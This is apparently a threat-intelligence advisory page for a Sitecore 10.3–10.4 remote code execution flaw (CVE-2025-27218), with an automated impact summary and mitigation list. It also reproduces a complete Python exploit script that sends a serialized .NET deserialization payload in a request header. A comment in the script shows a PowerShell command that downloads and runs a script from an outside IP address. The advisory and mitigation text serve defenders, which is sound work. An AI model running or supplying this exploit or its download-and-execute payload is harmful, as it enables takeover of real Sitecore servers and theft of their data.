Sitecore 10.4 - Remote Code Execution (RCE)
Sitecore 10.4 - Remote Code Execution (RCE)
AI Analysis
Technical Summary
The reported security threat concerns a Remote Code Execution (RCE) vulnerability in Sitecore version 10.4. Sitecore is a widely used enterprise-level content management system (CMS) and digital experience platform, often deployed in web-facing environments. An RCE vulnerability allows an attacker to execute arbitrary code on the affected server remotely, potentially gaining full control over the system. Although specific technical details such as the vulnerability vector, exploited component, or attack complexity are not provided, the presence of exploit code written in Python indicates that the vulnerability can be actively exploited by attackers. This exploit likely targets a flaw in Sitecore 10.4's web interface or API, enabling unauthenticated or authenticated attackers to inject and execute malicious payloads. The absence of patch links suggests that either a patch is not yet publicly available or the information was not included. The critical severity rating aligns with the typical impact of RCE vulnerabilities, which can lead to complete system compromise, data exfiltration, service disruption, or use of the compromised server as a pivot point for further attacks. The lack of known exploits in the wild at the time of reporting does not diminish the urgency, as exploit code availability increases the risk of imminent attacks.
Potential Impact
For European organizations, the impact of this RCE vulnerability in Sitecore 10.4 can be severe. Many enterprises, including government agencies, financial institutions, healthcare providers, and large corporations, rely on Sitecore for managing their digital presence. Exploitation could lead to unauthorized access to sensitive customer data, intellectual property theft, defacement of public-facing websites, or disruption of critical online services. Given the GDPR regulatory environment, data breaches resulting from such an exploit could lead to significant legal and financial penalties. Additionally, attackers could leverage compromised Sitecore servers to launch further attacks within the network or use them as part of botnets or ransomware campaigns. The critical nature of the vulnerability and the availability of exploit code increase the likelihood of targeted attacks against high-value European entities using Sitecore 10.4.
Mitigation Recommendations
Organizations using Sitecore 10.4 should immediately assess their exposure and implement the following specific mitigations: 1) Monitor official Sitecore channels for security advisories and apply any available patches or hotfixes as soon as they are released. 2) Restrict access to Sitecore management interfaces and APIs using network segmentation, firewalls, and VPNs to limit exposure to trusted users only. 3) Implement Web Application Firewalls (WAFs) with custom rules to detect and block suspicious payloads targeting Sitecore endpoints. 4) Conduct thorough code and configuration reviews to identify and remediate insecure deserialization, unsafe input handling, or other common RCE vectors. 5) Employ runtime application self-protection (RASP) tools to detect and prevent exploitation attempts in real-time. 6) Enhance logging and monitoring to detect anomalous activities indicative of exploitation attempts. 7) Educate development and operations teams about secure coding practices and the risks associated with RCE vulnerabilities. These measures, combined with rapid patching once available, will reduce the attack surface and mitigate exploitation risks.
Affected Countries
Germany, United Kingdom, France, Netherlands, Sweden, Belgium, Italy, Spain
Indicators of Compromise
- exploit-code: # Exploit Title: Sitecore 10.4 - Remote Code Execution (RCE) # Exploit Author: Yesith Alvarez # Vendor Homepage: https://developers.sitecore.com/downloads # Version: Sitecore 10.3 - 10.4 # CVE : CVE-2025-27218 # Link: https://github.com/yealvarez/CVE/blob/main/CVE-2025-27218/exploit.py from requests import Request, Session import sys import base64 def title(): print(''' _______ ________ ___ ___ ___ _____ ___ ______ ___ __ ___ / ____\ \ / / ____| |__ \ / _ \__ \| ____| |__ \____ |__ \/_ |/ _ \ | | \ \ / /| |__ ______ ) | | | | ) | |__ ______ ) | / / ) || | (_) | | | \ \/ / | __|______/ /| | | |/ /|___ \______/ / / / / / | |> _ < | |____ \ / | |____ / /_| |_| / /_ ___) | / /_ / / / /_ | | (_) | \_____| \/ |______| |____|\___/____|____/ |____/_/ |____||_|\___/ [+] Remote Code Execution Author: Yesith Alvarez Github: https://github.com/yealvarez Linkedin: https://www.linkedin.com/in/pentester-ethicalhacker/ Code improvements: https://github.com/yealvarez/CVE/blob/main/CVE-2025-27218/exploit.py ''') def exploit(url): # This payload must be generated externally with ysoserial.net # Example: ./ysoserial.exe -f BinaryFormatter -g WindowsIdentity -o base64 -c "powershell.exe -nop -w hidden -c 'IEX(New-Object Net.WebClient).DownloadString(\"http://34.134.71.169/111.html\")'" payload = 'AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eQEAAAAkU3lzdGVtLlNlY3VyaXR5LkNsYWltc0lkZW50aXR5LmFjdG9yAQYCAAAA2ApBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBb3dZOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0TVRZaVB6NE5DanhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWElnVFdWMGFHOWtUbUZ0WlQwaVUzUmhjblFpSUVselNXNXBkR2xoYkV4dllXUkZibUZpYkdWa1BTSkdZV3h6WlNJZ2VHMXNibk05SW1oMGRIQTZMeTl6WTJobGJXRnpMbTFwWTNKdmMyOW1kQzVqYjIwdmQybHVabmd2TWpBd05pOTRZVzFzTDNCeVpYTmxiblJoZEdsdmJpSWdlRzFzYm5NNmMyUTlJbU5zY2kxdVlXMWxjM0JoWTJVNlUzbHpkR1Z0TGtScFlXZHViM04wYVdOek8yRnpjMlZ0WW14NVBWTjVjM1JsYlNJZ2VHMXNibk02ZUQwaWFIUjBjRG92TDNOamFHVnRZWE11YldsamNtOXpiMlowTG1OdmJTOTNhVzVtZUM4eU1EQTJMM2hoYld3aVBnMEtJQ0E4VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLSUNBZ0lEeHpaRHBRY205alpYTnpQZzBLSUNBZ0lDQWdQSE5rT2xCeWIyTmxjM011VTNSaGNuUkpibVp2UGcwS0lDQWdJQ0FnSUNBOGMyUTZVSEp2WTJWemMxTjBZWEowU1c1bWJ5QkJjbWQxYldWdWRITTlJaTlqSUhCdmQyVnljMmhsYkd3dVpYaGxJQzF1YjNBZ0xYY2dhR2xrWkdWdUlDMWpJQ2RKUlZnb1RtVjNMVTlpYW1WamRDQk9aWFF1VjJWaVEyeHBaVzUwS1M1RWIzZHViRzloWkZOMGNtbHVaeWdtY1hWdmREc2dhSFIwY0Rvdkx6RXdMakV3TGpFd0xqRXdMekV4TVM1b2RHMXNYQ2tuSWlCVGRHRnVaR0Z5WkVWeWNtOXlSVzVqYjJScGJtYzlJbnQ0T2s1MWJHeDlJaUJUZEdGdVpHRnlaRTkxZEhCMWRFVnVZMjlrYVc1blBTSjdlRHBPZFd4c2ZTSWdWWE5sY2s1aGJXVTlJaUlnVUdGemMzZHZjbVE5SW50NE9rNTFiR3g5SWlCRWIyMWhhVzQ5SWlJZ1RHOWhaRlZ6WlhKUWNtOW1hV3hsUFNKR1lXeHpaU0lnUm1sc1pVNWhiV1U5SW1OdFpDSWdMejROQ2lBZ0lDQWdJRHd2YzJRNlVISnZZMlZ6Y3k1VGRHRnlkRWx1Wm04K0RRb2dJQ0FnUEM5elpEcFFjbTlqWlhOelBnMEtJQ0E4TDA5aWFtVmpkRVJoZEdGUWNtOTJhV1JsY2k1UFltcGxZM1JKYm5OMFlXNWpaVDROQ2p3dlQySnFaV04wUkdGMFlWQnliM1pwWkdWeVBncz0L' payload_encoded = payload headers = {'Thumbnailsaccesstoken': payload_encoded} s = Session() req = Request('GET', url, headers=headers) prepped = req.prepare() resp = s.send(prepped, verify=False, timeout=15) print(prepped.headers) print(url) print(resp.status_code) print(resp.text) if __name__ == '__main__': title() if len(sys.argv) < 2: print('[+] USAGE: python3 %s https://<target_url>\n' % sys.argv[0]) print('[+] Example: python3 %s https://192.168.0.10\n' % sys.argv[0]) exit(0) else: exploit(sys.argv[1])
Sitecore 10.4 - Remote Code Execution (RCE)
Description
Sitecore 10.4 - Remote Code Execution (RCE)
AI-Powered Analysis
Technical Analysis
The reported security threat concerns a Remote Code Execution (RCE) vulnerability in Sitecore version 10.4. Sitecore is a widely used enterprise-level content management system (CMS) and digital experience platform, often deployed in web-facing environments. An RCE vulnerability allows an attacker to execute arbitrary code on the affected server remotely, potentially gaining full control over the system. Although specific technical details such as the vulnerability vector, exploited component, or attack complexity are not provided, the presence of exploit code written in Python indicates that the vulnerability can be actively exploited by attackers. This exploit likely targets a flaw in Sitecore 10.4's web interface or API, enabling unauthenticated or authenticated attackers to inject and execute malicious payloads. The absence of patch links suggests that either a patch is not yet publicly available or the information was not included. The critical severity rating aligns with the typical impact of RCE vulnerabilities, which can lead to complete system compromise, data exfiltration, service disruption, or use of the compromised server as a pivot point for further attacks. The lack of known exploits in the wild at the time of reporting does not diminish the urgency, as exploit code availability increases the risk of imminent attacks.
Potential Impact
For European organizations, the impact of this RCE vulnerability in Sitecore 10.4 can be severe. Many enterprises, including government agencies, financial institutions, healthcare providers, and large corporations, rely on Sitecore for managing their digital presence. Exploitation could lead to unauthorized access to sensitive customer data, intellectual property theft, defacement of public-facing websites, or disruption of critical online services. Given the GDPR regulatory environment, data breaches resulting from such an exploit could lead to significant legal and financial penalties. Additionally, attackers could leverage compromised Sitecore servers to launch further attacks within the network or use them as part of botnets or ransomware campaigns. The critical nature of the vulnerability and the availability of exploit code increase the likelihood of targeted attacks against high-value European entities using Sitecore 10.4.
Mitigation Recommendations
Organizations using Sitecore 10.4 should immediately assess their exposure and implement the following specific mitigations: 1) Monitor official Sitecore channels for security advisories and apply any available patches or hotfixes as soon as they are released. 2) Restrict access to Sitecore management interfaces and APIs using network segmentation, firewalls, and VPNs to limit exposure to trusted users only. 3) Implement Web Application Firewalls (WAFs) with custom rules to detect and block suspicious payloads targeting Sitecore endpoints. 4) Conduct thorough code and configuration reviews to identify and remediate insecure deserialization, unsafe input handling, or other common RCE vectors. 5) Employ runtime application self-protection (RASP) tools to detect and prevent exploitation attempts in real-time. 6) Enhance logging and monitoring to detect anomalous activities indicative of exploitation attempts. 7) Educate development and operations teams about secure coding practices and the risks associated with RCE vulnerabilities. These measures, combined with rapid patching once available, will reduce the attack surface and mitigate exploitation risks.
Affected Countries
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Technical Details
- Edb Id
- 52344
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Sitecore 10.4 - Remote Code Execution (RCE)
# Exploit Title: Sitecore 10.4 - Remote Code Execution (RCE) # Exploit Author: Yesith Alvarez # Vendor Homepage: https://developers.sitecore.com/downloads # Version: Sitecore 10.3 - 10.4 # CVE : CVE-2025-27218 # Link: https://github.com/yealvarez/CVE/blob/main/CVE-2025-27218/exploit.py from requests import Request, Session import sys import base64 def title(): print(''' _______ ________ ___ ___ ___ _____ ___ ______ ___ __ ___ / ____\ \ / / ____| |__ \ / _... (3826 more characters)
Threat ID: 685e4315ca1063fb8755ec3e
Added to database: 6/27/2025, 7:07:01 AM
Last enriched: 7/16/2025, 9:24:03 PM
Last updated: 8/22/2025, 6:04:46 AM
Views: 77
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